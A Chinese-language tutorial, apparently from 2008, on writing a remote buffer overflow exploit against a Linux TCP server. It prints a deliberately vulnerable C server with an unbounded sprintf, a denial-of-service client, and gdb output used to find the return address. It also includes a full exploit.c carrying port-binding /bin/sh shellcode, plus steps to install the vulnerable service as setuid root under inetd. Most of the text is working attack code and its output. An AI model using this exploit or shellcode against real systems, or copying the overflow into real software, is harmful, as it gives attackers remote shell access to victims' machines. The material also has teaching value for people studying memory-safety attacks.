写远程缓冲区溢出漏洞利用程序

文章类别：C语言程序设计 | 发表日期:2008-9-24 14:37:59

怎样写远程缓冲区溢出漏洞利用程序
在此，我们假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来利用该漏洞，这样将能得到一个远程 shell。
一、理解有漏洞程序：
--------------------------------------- vulnerable.c ---------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’\0’;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}

int main(int argc, char *argv[])

{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}

---------------------------------------------- EOF------------------------------------------------------

下面将编译并运行该程序：
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
../vulnerable 8080 说明你能在8080端口运行该项服务
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
现在该程序监听8080端口并等待连接。
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
看来没有什么破绽，但是这时gdb会在屏幕上显示：
client from 127.0.0.1 0xbffff28c （访地址因不同机器类型而异）

二、令有漏洞程序发生缓冲区溢出

重新连上该服务，为 "My name is:..." 命令行提供超过1024个字节长的输入：
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA

连接将中断，让我们看看gdb的输出：
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Don’t close gdb !!
能够看出 eip 被设到了 0x41414141。0x41 代表一个"A",当我们输入1024个字节时，该程序会试图将字符串name[2048]拷入缓冲[1024]。因此，由于 name[2048] 大于1024字节，name 将会重写缓冲并重写已被存储的 eip，我们的缓冲将会是下列形式：
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
在你重写了整个返回地址后，函数将会跳转到错误的地址　0x41414141，从而产生片断错误。
现在为此程序写一个拒绝服务攻击工具：
--------------------------------- dos.c ------------------------------------------ ---
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server\n");
exit(0);
}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)
buffer[i] = 'A';
printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}
--------------------------------------------- EOF ------------------------------------------------------

三、找到返回地址：

打开gdb寻找 esp：
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---

现在我们已经知道重写了整个缓冲，让我们试试几个地址

四、exploit代码结构

1、找到 esp，然后找一个能绑定 shell 到端口的 sehllcode.
2、创建一个大于1024字节的缓冲
2、用 NOP 填滿整个缓冲：
memset(buffer, 0x90, 1064);
3、将 shellcode 拷入缓冲
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
4、在缓冲中消除零字节：
buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal
5、在缓冲未端拷贝返回地址：
for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer[i]) = RET;
// RET is the returnaddress we want to use... #define in the header
}
6、在预备好的缓冲未端加入一个 \0 零字节：
buffer[1063] = 0x0;
现在可以把它发送给有漏洞机器了。
----------------------------------------- exploit.c ----------------------------------
/* Simple remote exploit, which binds a shell on port 3789
* by triton
*
* After return address was overwritten, you can connect
* with telnet or netcat to the victim host on Port 3789
* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)
* So you should get an output, ok you’ve got a shell *g*. Always use:
*
* <command>;
*
* execute.
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
//standard offset (probably must be modified)
#define RET 0xbffff5ec
int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
----------------------------------------- EOF-------------------------------------
五、使用 exploit:
user@linux~/ > gcc exploit.c -o exploit
user@linux~/ > ./exploit <host> <port>
假如你得到了正确的返回地址，它将管用。
user@linux~/ > telnet <host> 3879
id;
uid=500(user) gid=500(user) groups=500(user)
可以看出，我们成功了。

六、取得 root 权限：

user@linux~/ > su
password: ******
root@linux~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>

七、进入 inetd.conf 中定义的服务

将有漏洞程序拷入 /usr/bin/
root@linux~/ > cp vulnerable /usr/bin/vulnerable
root@linux~/ > vi /etc/services
加入下面的信息：
vulnerable 1526/tcp # defining port for our server program
root@linux~/ > vi /etc/inetd.conf
加入下面的信息：
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
重启 inetd：
root@linux~/ > killall -HUP inetd

八、可能出现的问题：

假如 exploit 无法使用，请考虑返回地址，用gdb进行测试：
user@linux~/ > gdb vulnerable
......
(gdb) run <port>
(c) copyright by Robin Walser irc.euirc.net #usad

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